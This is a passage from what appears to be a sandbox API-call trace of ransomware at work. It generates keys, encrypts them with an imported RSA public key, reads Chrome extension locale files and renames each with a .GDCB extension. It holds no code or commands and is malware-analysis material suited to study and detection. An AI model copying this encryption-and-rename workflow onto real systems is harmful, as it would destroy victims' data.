CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.151] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.151] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.156] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.156] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.156] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67947a0) returned 1 [0264.158] CryptGetKeyParam (in: hKey=0x67947a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.158] CryptEncrypt (in: hKey=0x67947a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.159] GetLastError () returned 0x0 [0264.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.159] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.160] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67940e0) returned 1 [0264.161] CryptGetKeyParam (in: hKey=0x67940e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.161] CryptEncrypt (in: hKey=0x67940e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.161] GetLastError () returned 0x0 [0264.161] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.161] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.162] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.165] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.167] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0264.176] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.183] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0264.188] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.194] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.194] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.198] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.198] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.199] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.201] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794360) returned 1 [0264.201] CryptGetKeyParam (in: hKey=0x6794360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.201] CryptEncrypt (in: hKey=0x6794360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.201] GetLastError () returned 0x0 [0264.201] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.201] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.204] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67948a0) returned 1 [0264.204] CryptGetKeyParam (in: hKey=0x67948a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.204] CryptEncrypt (in: hKey=0x67948a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.204] GetLastError () returned 0x0 [0264.204] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.204] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.205] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.208] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.210] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0264.219] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.226] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0264.232] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.237] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.237] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.237] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.242] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.242] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.242] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.244] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67946e0) returned 1 [0264.244] CryptGetKeyParam (in: hKey=0x67946e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.244] CryptEncrypt (in: hKey=0x67946e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.244] GetLastError () returned 0x0 [0264.244] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.244] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.252] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794220) returned 1 [0264.252] CryptGetKeyParam (in: hKey=0x6794220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.252] CryptEncrypt (in: hKey=0x6794220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.252] GetLastError () returned 0x0 [0264.252] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.252] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.253] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.256] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.258] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe5, lpOverlapped=0x0) returned 1 [0264.267] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.279] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0264.284] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.290] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.290] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.290] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.292] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.294] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.295] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.295] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.296] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.298] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67944a0) returned 1 [0264.298] CryptGetKeyParam (in: hKey=0x67944a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.298] CryptEncrypt (in: hKey=0x67944a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.298] GetLastError () returned 0x0 [0264.298] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.298] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.300] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794720) returned 1 [0264.300] CryptGetKeyParam (in: hKey=0x6794720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.300] CryptEncrypt (in: hKey=0x6794720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.300] GetLastError () returned 0x0 [0264.300] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.300] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.301] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.304] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.306] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe5, lpOverlapped=0x0) returned 1 [0264.315] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.322] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0264.328] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.331] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.333] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.333] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.334] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.336] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.338] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.338] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.338] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.340] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794760) returned 1 [0264.341] CryptGetKeyParam (in: hKey=0x6794760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.341] CryptEncrypt (in: hKey=0x6794760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.341] GetLastError () returned 0x0 [0264.341] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.341] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.343] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794120) returned 1 [0264.343] CryptGetKeyParam (in: hKey=0x6794120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.343] CryptEncrypt (in: hKey=0x6794120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.343] GetLastError () returned 0x0 [0264.343] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.343] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.344] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.347] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.349] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe2, lpOverlapped=0x0) returned 1 [0264.358] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.367] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0264.372] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.375] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.377] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 